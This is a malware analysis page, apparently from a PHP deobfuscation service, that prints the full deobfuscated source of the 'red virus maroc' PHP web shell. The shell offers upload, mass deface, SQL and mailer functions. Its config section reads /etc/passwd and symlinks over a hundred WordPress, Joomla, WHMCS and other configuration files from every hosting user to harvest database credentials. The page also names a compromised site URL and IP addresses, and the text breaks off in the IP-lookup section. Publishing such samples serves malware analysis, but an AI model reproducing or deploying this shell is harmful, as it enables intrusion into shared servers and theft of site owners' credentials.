PHP Malware Analysis

mrk___802.phtml

md5: d3d2acc12f7cd84cad0f41cdba1ffbd9

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Deobfuscated PHP code

<table bgcolor="green" border="5" height="10%" width="100%">
<font size='5' color="green">
<tr>
<td><center>
<div id='alert'>Safe Mode : off </div><div id='alert'>you ip : 197.1.68.186 Server IP : 107.180.39.228<br> shell : http://www.ensemblestrategies.com/userfiles/cms_documents/portfolio/mrk___802.phtml <br> shell name : mrk___802.phtml </center></td>
</tr>
</table>
<html>
<title>
.:: shell red virus maroc v0.1 ::.
</title>
<haed>
<body bgcolor='A6A187'>
<center>
 <HR WIDTH="100%" size="2" color='black'>

<center>

<A HREF="?"><button size="4" style='width: 150px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>home</button></A>

<A HREF="?tha=upload"><button size="4" style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817' ><font size="4" color=green>[+] </font><font size="4" color=green> upload file</button></A>

<A HREF="?tha=mass"><button size="4" style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green> mass deface</button></A>

<A HREF="?tha=sql"><button size="4"  style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green> sql</button></A><br>--<br>

<A HREF="?tha=config"><button size="4"  style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green> config</button></A>

<A HREF="?tha=ip"><button size="4"  style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green> ip site</button></A>

<A HREF="?tha=base64"><button size="4" style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green>Base 64</button></A>

<A HREF="?tha=mailer"><button size="4" style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green> mailer</button></A><br>--<br>


<A HREF="?tha=phpinfo"><button size="4" style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green> php info</button></A>

<A HREF="?tha=about"><button size="4" style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green>about</button></A>


<HR WIDTH="60%" size="5" color='green'>
<font size='5' color='red' bgcolor="#FF0000">
red virus maroc shell v0.1
</font><br>
<HR WIDTH="60%" size="5" color='green' >
******************************<br>
 the hackers army          <br>
******************************
<br>
<HR WIDTH="100%" size="5" color='red' >
<br>



<table bgcolor="green" border="5" height="10%" width="100%">
<font size='5' color="green">
<tr>
<td><center>
<?php 
eval /* PHPDeobfuscator eval output */ {
    if ($safemode == "On") {
        echo "Safe Mode : ON";
    } else {
        echo "<div id='alert'>Safe Mode : off </div>";
    }
    $your_ip = $_SERVER['REMOTE_ADDR'];
    echo "<div id='alert'>you ip : {$your_ip}";
    $srvr_ip = $_SERVER['SERVER_ADDR'];
    echo " Server IP : " . $srvr_ip . "";
    $shellpa = "http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
    echo "<br> shell : {$shellpa} ";
    $shell = basename("{$shellpa}");
    echo "<br> shell name : {$shell} ";
    // red virus maroc shell
    // my fb :
    // facebook.com/redvirus.phtml
    // facebook.com/redvirusmaroc
    // my site :
    // army.koom.ma
    // the hackers army
    // we are
    //  Tha Disaster - Tha Rude - Tha J0keroo - Tha Mag!c!an - Tha X HaxOr - Tha ReDvirus Ma - Tha IndexDotHTML
};
?>
</center></td>
</tr>
</table>
<html>
<title>
.:: shell red virus maroc v0.1 ::.
</title>
<haed>
<body bgcolor='A6A187'>
<center>
 <HR WIDTH="100%" size="2" color='black'>

<center>

<A HREF="?"><button size="4" style='width: 150px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>home</button></A>

<A HREF="?tha=upload"><button size="4" style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817' ><font size="4" color=green>[+] </font><font size="4" color=green> upload file</button></A>

<A HREF="?tha=mass"><button size="4" style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green> mass deface</button></A>

<A HREF="?tha=sql"><button size="4"  style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green> sql</button></A><br>--<br>

<A HREF="?tha=config"><button size="4"  style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green> config</button></A>

<A HREF="?tha=ip"><button size="4"  style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green> ip site</button></A>

<A HREF="?tha=base64"><button size="4" style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green>Base 64</button></A>

<A HREF="?tha=mailer"><button size="4" style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green> mailer</button></A><br>--<br>


<A HREF="?tha=phpinfo"><button size="4" style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green> php info</button></A>

<A HREF="?tha=about"><button size="4" style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green>about</button></A>


<HR WIDTH="60%" size="5" color='green'>
<font size='5' color='red' bgcolor="#FF0000">
red virus maroc shell v0.1
</font><br>
<HR WIDTH="60%" size="5" color='green' >
******************************<br>
 the hackers army          <br>
******************************
<br>
<HR WIDTH="100%" size="5" color='red' >
<br>
<?php 
////////////////////////////////// about /////////////////////////////////////
if ($_GET['tha'] == 'about') {
    ?>
<center>
<font size='5' color='red' bgcolor="green">
red virus maroc shell v0.1
</font><br><br>
<font size='5' color='red' bgcolor="red">
we are
</font><br><br>
<font size='5' color='green'>
THE HACKERS ARMY
</font><br><br>
<font size='5' color='red' bgcolor="red">
we are
</font><br><br>
<font size='5' color='green'>
Tha Disaster - Tha Rude - Tha J0keroo - Tha Mag!c!an - Tha X HaxOr - Tha ReDvirus Ma - Tha IndexDotHTML
</font><br><br>
<font size='5' color='red' >
me
</font><br><br>


 <A HREF="https://facebook.com/redvirus.phtml">facebook</A><br>
 <A HREF="https://facebook.com/redvirusmaroc1">page facebook</A><br>
<A HREF="https://facebook.com/redvirusmaroc1">youtube</A><br>
 <A HREF="http://army.koom.ma/">my site</A><br><br>
tnx REDR00T<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>






<?php 
} else {
    if (preg_match) {
    }
}
////////////////////////////////// config/////////////////////////////////////
if ($_GET['tha'] == 'config') {
    ?>
<A HREF="?"><button size="4" style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817'>back</button></A><br><br>
<html>
<head>
</head>
<body><br><br><br>
<center>
<form method="POST">
<font size="5" color="green">
Passwd :
</font>
<p>&nbsp;</p>
<textarea rows=25 style='width:60%;height:50% border:1px dotted #59E817; background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817;' name="passwd" ><?php 
    eval /* PHPDeobfuscator eval output */ {
        echo file_get_contents('/etc/passwd');
    };
    ?></textarea></br>
<p>&nbsp;</p>
<input style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817' name="cat" size="80" value="Start" type="submit"></br>
</form>
<?php 
    eval /* PHPDeobfuscator eval output */ {
        @error_reporting(0);
        @set_time_limit(0);
        if ($_POST["cat"] && !$_POST["passwd"] == "") {
            echo "att  ...<br>";
            $functions = @ini_get("disable_functions");
            if (eregi("symlink", $functions)) {
                die("<font color=red>Symlink Function is DisableD, You Can't Continue This Process !!</font>");
            }
            echo "Checking Done Without Problems, Continue ...<br>";
            @mkdir("T-H-A", 0755);
            @chdir("T-H-A");
            $htaccess = "\n\nOptions all\n\nOptions +Indexes\n\nOptions +FollowSymLinks\n\nDirectoryIndex Sux.html\n\nAddType text/plain .php\n\nAddHandler server-parsed .php\n\nAddType text/plain .html\n\nAddHandler txt .html\n\nRequire None \n\nSatisfy Any\n\n";
            file_put_contents(".htaccess", $htaccess, FILE_APPEND);
            $passwd = $_POST["passwd"];
            $passwd = explode("\n", $passwd);
            echo "Start Symlinking ...<br>";
            foreach ($passwd as $pwd) {
                $pawd = explode(":", $pwd);
                $user = $pawd[0];
                // Now symlink Them
                @symlink('/home/' . $user . '/public_html/includes/configure.php', $user . '-shop.txt');
                @symlink('/home/' . $user . '/public_html/os/includes/configure.php', $user . '-shop-os.txt');
                @symlink('/home/' . $user . '/public_html/oscom/includes/configure.php', $user . '-oscom.txt');
                @symlink('/home/' . $user . '/public_html/oscommerce/includes/configure.php', $user . '-oscommerce.txt');
                @symlink('/home/' . $user . '/public_html/oscommerces/includes/configure.php', $user . '-oscommerces.txt');
                @symlink('/home/' . $user . '/public_html/shop/includes/configure.php', $user . '-shop2.txt');
                @symlink('/home/' . $user . '/public_html/shopping/includes/configure.php', $user . '-shop-shopping.txt');
                @symlink('/home/' . $user . '/public_html/sale/includes/configure.php', $user . '-sale.txt');
                @symlink('/home/' . $user . '/public_html/amember/config.inc.php', $user . '-amember.txt');
                @symlink('/home/' . $user . '/public_html/config.inc.php', $user . '-amember2.txt');
                @symlink('/home/' . $user . '/public_html/members/configuration.php', $user . '-members.txt');
                @symlink('/home/' . $user . '/public_html/config.php', $user . '-4images1.txt');
                @symlink('/home/' . $user . '/public_html/forum/includes/config.php', $user . '-forum.txt');
                @symlink('/home/' . $user . '/public_html/forums/includes/config.php', $user . '-forums.txt');
                @symlink('/home/' . $user . '/public_html/admin/conf.php', $user . '-5.txt');
                @symlink('/home/' . $user . '/public_html/admin/config.php', $user . '-4.txt');
                @symlink('/home/' . $user . '/public_html/wp-config.php', $user . '-wp13.txt');
                @symlink('/home/' . $user . '/public_html/wp/wp-config.php', $user . '-wp13-wp.txt');
                @symlink('/home/' . $user . '/public_html/WP/wp-config.php', $user . '-wp13-WP.txt');
                @symlink('/home/' . $user . '/public_html/wp/beta/wp-config.php', $user . '-wp13-wp-beta.txt');
                @symlink('/home/' . $user . '/public_html/beta/wp-config.php', $user . '-wp13-beta.txt');
                @symlink('/home/' . $user . '/public_html/press/wp-config.php', $user . '-wp13-press.txt');
                @symlink('/home/' . $user . '/public_html/wordpress/wp-config.php', $user . '-wp13-wordpress.txt');
                @symlink('/home/' . $user . '/public_html/Wordpress/wp-config.php', $user . '-wp13-Wordpress.txt');
                @symlink('/home/' . $user . '/public_html/blog/wp-config.php', $user . '-wp13-Wordpress.txt');
                @symlink('/home/' . $user . '/public_html/wordpress/beta/wp-config.php', $user . '-wp13-wordpress-beta.txt');
                @symlink('/home/' . $user . '/public_html/news/wp-config.php', $user . '-wp13-news.txt');
                @symlink('/home/' . $user . '/public_html/new/wp-config.php', $user . '-wp13-new.txt');
                @symlink('/home/' . $user . '/public_html/blog/wp-config.php', $user . '-wp-blog.txt');
                @symlink('/home/' . $user . '/public_html/beta/wp-config.php', $user . '-wp-beta.txt');
                @symlink('/home/' . $user . '/public_html/blogs/wp-config.php', $user . '-wp-blogs.txt');
                @symlink('/home/' . $user . '/public_html/home/wp-config.php', $user . '-wp-home.txt');
                @symlink('/home/' . $user . '/public_html/protal/wp-config.php', $user . '-wp-protal.txt');
                @symlink('/home/' . $user . '/public_html/site/wp-config.php', $user . '-wp-site.txt');
                @symlink('/home/' . $user . '/public_html/main/wp-config.php', $user . '-wp-main.txt');
                @symlink('/home/' . $user . '/public_html/test/wp-config.php', $user . '-wp-test.txt');
                @symlink('/home/' . $user . '/public_html/arcade/functions/dbclass.php', $user . '-ibproarcade.txt');
                @symlink('/home/' . $user . '/public_html/arcade/functions/dbclass.php', $user . '-ibproarcade.txt');
                @symlink('/home/' . $user . '/public_html/joomla/configuration.php', $user . '-joomla2.txt');
                @symlink('/home/' . $user . '/public_html/protal/configuration.php', $user . '-joomla-protal.txt');
                @symlink('/home/' . $user . '/public_html/joo/configuration.php', $user . '-joo.txt');
                @symlink('/home/' . $user . '/public_html/cms/configuration.php', $user . '-joomla-cms.txt');
                @symlink('/home/' . $user . '/public_html/site/configuration.php', $user . '-joomla-site.txt');
                @symlink('/home/' . $user . '/public_html/main/configuration.php', $user . '-joomla-main.txt');
                @symlink('/home/' . $user . '/public_html/news/configuration.php', $user . '-joomla-news.txt');
                @symlink('/home/' . $user . '/public_html/new/configuration.php', $user . '-joomla-new.txt');
                @symlink('/home/' . $user . '/public_html/home/configuration.php', $user . '-joomla-home.txt');
                @symlink('/home/' . $user . '/public_html/vb/includes/config.php', $user . '-vb-config.txt');
                @symlink('/home/' . $user . '/public_html/vb3/includes/config.php', $user . '-vb3-config.txt');
                @symlink('/home/' . $user . '/public_html/cc/includes/config.php', $user . '-vb1-config.txt');
                @symlink('/home/' . $user . '/public_html/includes/config.php', $user . '-includes-vb.txt');
                @symlink('/home/' . $user . '/public_html/forum/includes/class_core.php', $user . '-vbluttin-class_core.php.txt');
                @symlink('/home/' . $user . '/public_html/vb/includes/class_core.php', $user . '-vbluttin-class_core.php1.txt');
                @symlink('/home/' . $user . '/public_html/cc/includes/class_core.php', $user . '-vbluttin-class_core.php2.txt');
                @symlink('/home/' . $user . '/public_html/whm/configuration.php', $user . '-whm15.txt');
                @symlink('/home/' . $user . '/public_html/central/configuration.php', $user . '-whm-central.txt');
                @symlink('/home/' . $user . '/public_html/whm/whmcs/configuration.php', $user . '-whm-whmcs.txt');
                @symlink('/home/' . $user . '/public_html/whm/WHMCS/configuration.php', $user . '-whm-WHMCS.txt');
                @symlink('/home/' . $user . '/public_html/whmc/WHM/configuration.php', $user . '-whmc-WHM.txt');
                @symlink('/home/' . $user . '/public_html/whmcs/configuration.php', $user . '-whmcs.txt');
                @symlink('/home/' . $user . '/public_html/support/configuration.php', $user . '-support.txt');
                @symlink('/home/' . $user . '/public_html/supp/configuration.php', $user . '-supp.txt');
                @symlink('/home/' . $user . '/public_html/secure/configuration.php', $user . '-sucure.txt');
                @symlink('/home/' . $user . '/public_html/secure/whm/configuration.php', $user . '-sucure-whm.txt');
                @symlink('/home/' . $user . '/public_html/secure/whmcs/configuration.php', $user . '-sucure-whmcs.txt');
                @symlink('/home/' . $user . '/public_html/cpanel/configuration.php', $user . '-cpanel.txt');
                @symlink('/home/' . $user . '/public_html/panel/configuration.php', $user . '-panel.txt');
                @symlink('/home/' . $user . '/public_html/host/configuration.php', $user . '-host.txt');
                @symlink('/home/' . $user . '/public_html/hosting/configuration.php', $user . '-hosting.txt');
                @symlink('/home/' . $user . '/public_html/hosts/configuration.php', $user . '-hosts.txt');
                @symlink('/home/' . $user . '/public_html/configuration.php', $user . '-joomla.txt');
                @symlink('/home/' . $user . '/public_html/submitticket.php', $user . '-whmcs2.txt');
                @symlink('/home/' . $user . '/public_html/clients/configuration.php', $user . '-clients.txt');
                @symlink('/home/' . $user . '/public_html/client/configuration.php', $user . '-client.txt');
                @symlink('/home/' . $user . '/public_html/clientes/configuration.php', $user . '-clientes.txt');
                @symlink('/home/' . $user . '/public_html/cliente/configuration.php', $user . '-client.txt');
                @symlink('/home/' . $user . '/public_html/clientsupport/configuration.php', $user . '-clientsupport.txt');
                @symlink('/home/' . $user . '/public_html/billing/configuration.php', $user . '-billing.txt');
                @symlink('/home/' . $user . '/public_html/manage/configuration.php', $user . '-whm-manage.txt');
                @symlink('/home/' . $user . '/public_html/my/configuration.php', $user . '-whm-my.txt');
                @symlink('/home/' . $user . '/public_html/myshop/configuration.php', $user . '-whm-myshop.txt');
                @symlink('/home/' . $user . '/public_html/includes/dist-configure.php', $user . '-zencart.txt');
                @symlink('/home/' . $user . '/public_html/zencart/includes/dist-configure.php', $user . '-shop-zencart.txt');
                @symlink('/home/' . $user . '/public_html/shop/includes/dist-configure.php', $user . '-shop-ZCshop.txt');
                @symlink('/home/' . $user . '/public_html/Settings.php', $user . '-smf.txt');
                @symlink('/home/' . $user . '/public_html/smf/Settings.php', $user . '-smf2.txt');
                @symlink('/home/' . $user . '/public_html/forum/Settings.php', $user . '-smf-forum.txt');
                @symlink('/home/' . $user . '/public_html/forums/Settings.php', $user . '-smf-forums.txt');
                @symlink('/home/' . $user . '/public_html/upload/includes/config.php', $user . '-up.txt');
                @symlink('/home/' . $user . '/public_html/article/config.php', $user . '-Nwahy.txt');
                @symlink('/home/' . $user . '/public_html/up/includes/config.php', $user . '-up2.txt');
                @symlink('/home/' . $user . '/public_html/conf_global.php', $user . '-6.txt');
                @symlink('/home/' . $user . '/public_html/include/db.php', $user . '-7.txt');
                @symlink('/home/' . $user . '/public_html/connect.php', $user . '-PHP-Fusion.txt');
                @symlink('/home/' . $user . '/public_html/mk_conf.php', $user . '-9.txt');
                @symlink('/home/' . $user . '/public_html/includes/config.php', $user . '-traidnt1.txt');
                @symlink('/home/' . $user . '/public_html/config.php', $user . '-4images.txt');
                @symlink('/home/' . $user . '/public_html/sites/default/settings.php', $user . '-Drupal.txt');
                @symlink('/home/' . $user . '/public_html/member/configuration.php', $user . '-1member.txt');
                @symlink('/home/' . $user . '/public_html/billings/configuration.php', $user . '-billings.txt');
                @symlink('/home/' . $user . '/public_html/whm/configuration.php', $user . '-whm.txt');
                @symlink('/home/' . $user . '/public_html/supports/configuration.php', $user . '-supports.txt');
                @symlink('/home/' . $user . '/public_html/requires/config.php', $user . '-AM4SS-hosting.txt');
                @symlink('/home/' . $user . '/public_html/supports/includes/iso4217.php', $user . '-hostbills-supports.txt');
                @symlink('/home/' . $user . '/public_html/client/includes/iso4217.php', $user . '-hostbills-client.txt');
                @symlink('/home/' . $user . '/public_html/support/includes/iso4217.php', $user . '-hostbills-support.txt');
                @symlink('/home/' . $user . '/public_html/billing/includes/iso4217.php', $user . '-hostbills-billing.txt');
                @symlink('/home/' . $user . '/public_html/billings/includes/iso4217.php', $user . '-hostbills-billings.txt');
                @symlink('/home/' . $user . '/public_html/host/includes/iso4217.php', $user . '-hostbills-host.txt');
                @symlink('/home/' . $user . '/public_html/hosts/includes/iso4217.php', $user . '-hostbills-hosts.txt');
                @symlink('/home/' . $user . '/public_html/hosting/includes/iso4217.php', $user . '-hostbills-hosting.txt');
                @symlink('/home/' . $user . '/public_html/hostings/includes/iso4217.php', $user . '-hostbills-hostings.txt');
                @symlink('/home/' . $user . '/public_html/includes/iso4217.php', $user . '-hostbills.txt');
                @symlink('/home/' . $user . '/public_html/hostbills/includes/iso4217.php', $user . '-hostbills-hostbills.txt');
                @symlink('/home/' . $user . '/public_html/hostbill/includes/iso4217.php', $user . '-hostbills-hostbill.txt');
            }
            echo "<a size='6' color='green' href='T-H-A'>confige</a><br>";
        }
    };
    ?>
<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>

<?php 
} else {
    if (preg_match) {
    }
}
////////////////////////////////// base64 /////////////////////////////////////
if ($_GET['tha'] == 'base64') {
    ?>
<A HREF="?"><button size="4" style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817'>back</button></A><br><br>
<html>
<head>
<script language=javascript type="text/javascript">
<!--
function urlDecode(str){
    str=str.replace(new RegExp('\\+','g'),' ');
    return unescape(str);
}
function urlEncode(str){
    str=escape(str);
    str=str.replace(new RegExp('\\+','g'),'%2B');
    return str.replace(new RegExp('%20','g'),'+');
}

var END_OF_INPUT = -1;

var base64Chars = new Array(
    'A','B','C','D','E','F','G','H',
    'I','J','K','L','M','N','O','P',
    'Q','R','S','T','U','V','W','X',
    'Y','Z','a','b','c','d','e','f',
    'g','h','i','j','k','l','m','n',
    'o','p','q','r','s','t','u','v',
    'w','x','y','z','0','1','2','3',
    '4','5','6','7','8','9','+','/'
);

var reverseBase64Chars = new Array();
for (var i=0; i < base64Chars.length; i++){
    reverseBase64Chars[base64Chars[i]] = i;
}

var base64Str;
var base64Count;
function setBase64Str(str){
    base64Str = str;
    base64Count = 0;
}
function readBase64(){    
    if (!base64Str) return END_OF_INPUT;
    if (base64Count >= base64Str.length) return END_OF_INPUT;
    var c = base64Str.charCodeAt(base64Count) & 0xff;
    base64Count++;
    return c;
}
function encodeBase64(str){
    setBase64Str(str);
    var result = '';
    var inBuffer = new Array(3);
    var lineCount = 0;
    var done = false;
    while (!done && (inBuffer[0] = readBase64()) != END_OF_INPUT){
        inBuffer[1] = readBase64();
        inBuffer[2] = readBase64();
        result += (base64Chars[ inBuffer[0] >> 2 ]);
        if (inBuffer[1] != END_OF_INPUT){
            result += (base64Chars [(( inBuffer[0] << 4 ) & 0x30) | (inBuffer[1] >> 4) ]);
            if (inBuffer[2] != END_OF_INPUT){
                result += (base64Chars [((inBuffer[1] << 2) & 0x3c) | (inBuffer[2] >> 6) ]);
                result += (base64Chars [inBuffer[2] & 0x3F]);
            } else {
                result += (base64Chars [((inBuffer[1] << 2) & 0x3c)]);
                result += ('=');
                done = true;
            }
        } else {
            result += (base64Chars [(( inBuffer[0] << 4 ) & 0x30)]);
            result += ('=');
            result += ('=');
            done = true;
        }
        lineCount += 4;
        if (lineCount >= 76){
            result += ('\n');
            lineCount = 0;
        }
    }
    return result;
}
function readReverseBase64(){   
    if (!base64Str) return END_OF_INPUT;
    while (true){      
        if (base64Count >= base64Str.length) return END_OF_INPUT;
        var nextCharacter = base64Str.charAt(base64Count);
        base64Count++;
        if (reverseBase64Chars[nextCharacter]){
            return reverseBase64Chars[nextCharacter];
        }
        if (nextCharacter == 'A') return 0;
    }
    return END_OF_INPUT;
}

function ntos(n){
    n=n.toString(16);
    if (n.length == 1) n="0"+n;
    n="%"+n;
    return unescape(n);
}

function decodeBase64(str){
    setBase64Str(str);
    var result = "";
    var inBuffer = new Array(4);
    var done = false;
    while (!done && (inBuffer[0] = readReverseBase64()) != END_OF_INPUT
        && (inBuffer[1] = readReverseBase64()) != END_OF_INPUT){
        inBuffer[2] = readReverseBase64();
        inBuffer[3] = readReverseBase64();
        result += ntos((((inBuffer[0] << 2) & 0xff)| inBuffer[1] >> 4));
        if (inBuffer[2] != END_OF_INPUT){
            result +=  ntos((((inBuffer[1] << 4) & 0xff)| inBuffer[2] >> 2));
            if (inBuffer[3] != END_OF_INPUT){
                result +=  ntos((((inBuffer[2] << 6)  & 0xff) | inBuffer[3]));
            } else {
                done = true;
            }
        } else {
            done = true;
        }
    }
    return result;
}

var digitArray = new Array('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f');
function toHex(n){
    var result = ''
    var start = true;
    for (var i=32; i>0;){
        i-=4;
        var digit = (n>>i) & 0xf;
        if (!start || digit != 0){
            start = false;
            result += digitArray[digit];
        }
    }
    return (result==''?'0':result);
}

function pad(str, len, pad){
    var result = str;
    for (var i=str.length; i<len; i++){
        result = pad + result;
    }
    return result;
}

function encodeHex(str){
    var result = "";
    for (var i=0; i<str.length; i++){
        result += pad(toHex(str.charCodeAt(i)&0xff),2,'0');
    }
    return result;
}

var hexv = {
  "00":0,"01":1,"02":2,"03":3,"04":4,"05":5,"06":6,"07":7,"08":8,"09":9,"0A":10,"0B":11,"0C":12,"0D":13,"0E":14,"0F":15,
  "10":16,"11":17,"12":18,"13":19,"14":20,"15":21,"16":22,"17":23,"18":24,"19":25,"1A":26,"1B":27,"1C":28,"1D":29,"1E":30,"1F":31,
  "20":32,"21":33,"22":34,"23":35,"24":36,"25":37,"26":38,"27":39,"28":40,"29":41,"2A":42,"2B":43,"2C":44,"2D":45,"2E":46,"2F":47,
  "30":48,"31":49,"32":50,"33":51,"34":52,"35":53,"36":54,"37":55,"38":56,"39":57,"3A":58,"3B":59,"3C":60,"3D":61,"3E":62,"3F":63,
  "40":64,"41":65,"42":66,"43":67,"44":68,"45":69,"46":70,"47":71,"48":72,"49":73,"4A":74,"4B":75,"4C":76,"4D":77,"4E":78,"4F":79,
  "50":80,"51":81,"52":82,"53":83,"54":84,"55":85,"56":86,"57":87,"58":88,"59":89,"5A":90,"5B":91,"5C":92,"5D":93,"5E":94,"5F":95,
  "60":96,"61":97,"62":98,"63":99,"64":100,"65":101,"66":102,"67":103,"68":104,"69":105,"6A":106,"6B":107,"6C":108,"6D":109,"6E":110,"6F":111,
  "70":112,"71":113,"72":114,"73":115,"74":116,"75":117,"76":118,"77":119,"78":120,"79":121,"7A":122,"7B":123,"7C":124,"7D":125,"7E":126,"7F":127,
  "80":128,"81":129,"82":130,"83":131,"84":132,"85":133,"86":134,"87":135,"88":136,"89":137,"8A":138,"8B":139,"8C":140,"8D":141,"8E":142,"8F":143,
  "90":144,"91":145,"92":146,"93":147,"94":148,"95":149,"96":150,"97":151,"98":152,"99":153,"9A":154,"9B":155,"9C":156,"9D":157,"9E":158,"9F-":159,
  "A0":160,"A1":161,"A2":162,"A3":163,"A4":164,"A5":165,"A6":166,"A7":167,"A8":168,"A9":169,"AA":170,"AB":171,"AC":172,"AD":173,"AE":174,"AF":175,
  "B0":176,"B1":177,"B2":178,"B3":179,"B4":180,"B5":181,"B6":182,"B7":183,"B8":184,"B9":185,"BA":186,"BB":187,"BC":188,"BD":189,"BE":190,"BF":191,
  "C0":192,"C1":193,"C2":194,"C3":195,"C4":196,"C5":197,"C6":198,"C7":199,"C8":200,"C9":201,"CA":202,"CB":203,"CC":204,"CD":205,"CE":206,"CF":207,
  "D0":208,"D1":209,"D2":210,"D3":211,"D4":212,"D5":213,"D6":214,"D7":215,"D8":216,"D9":217,"DA":218,"DB":219,"DC":220,"DD":221,"DE":222,"DF":223,
  "E0":224,"E1":225,"E2":226,"E3":227,"E4":228,"E5":229,"E6":230,"E7":231,"E8":232,"E9":233,"EA":234,"EB":235,"EC":236,"ED":237,"EE":238,"EF":239,
  "F0":240,"F1":241,"F2":242,"F3":243,"F4":244,"F5":245,"F6":246,"F7":247,"F8":248,"F9":249,"FA":250,"FB":251,"FC":252,"FD":253,"FE":254,"FF":255
};

function decodeHex(str){
    str = str.toUpperCase().replace(new RegExp("s/[^0-9A-Z]//g"));
    var result = "";
    var nextchar = "";
    for (var i=0; i<str.length; i++){
        nextchar += str.charAt(i);
        if (nextchar.length == 2){
            result += ntos(hexv[nextchar]);
            nextchar = "";
        }
    }
    return result;
    
}
//--></script>

</head>
<body>

<form name=code onsubmit="return false()">
<textarea rows=25 name=text style='border:1px dotted #59E817; background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817; width:60%;height:60%;' onfocus='if (this.value=="Enter text to encode or decode here."){this.value="";}'>Enter text to encode or decode here.</textarea>
<table>
<tr>
<td align=center>
<input style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817' value="Encode" type=button onclick="document.code.text.value=encodeBase64(document.code.text.value);"><br>

<input style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817' value="Decode" type=button onclick="document.code.text.value=decodeBase64(document.code.text.value);">
</td></tr>
<tr><br>
<input style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817' type=reset value=Clear><br>
----------------------------------------------
</td><td align=center>
</td></tr><br></table><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
<?php 
} else {
    if (preg_match) {
    }
}
/////////////////////// ip site  //////////////////////////////
if ($_GET['tha'] == 'ip') {
    ?>
<A HREF="?"><button size="4" style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817'>back</button></A><br><br>
<?php 
    echo "\r\n\r\n<form method='post' ><center>\r\n\r\n<textarea style='border:1px dotted #59E817; width: 543px; height: 420px; background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817' cols='50' rows='12' name='site2ip' > www.example.com\r\n\r\nRomove http:// or https://</textarea></br><br>\r\n\r\n<input \r\nstyle='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817' type='submit' name='w2ip' value='Extract' ><br>\r\n\r\n</center>";
    ?>

<?php 
    if (isset($_POST['site2ip'])) {
        foreach (explode("\n", $_POST['site2ip']) as $site4ip) {
            $ipp = trim($site4ip);
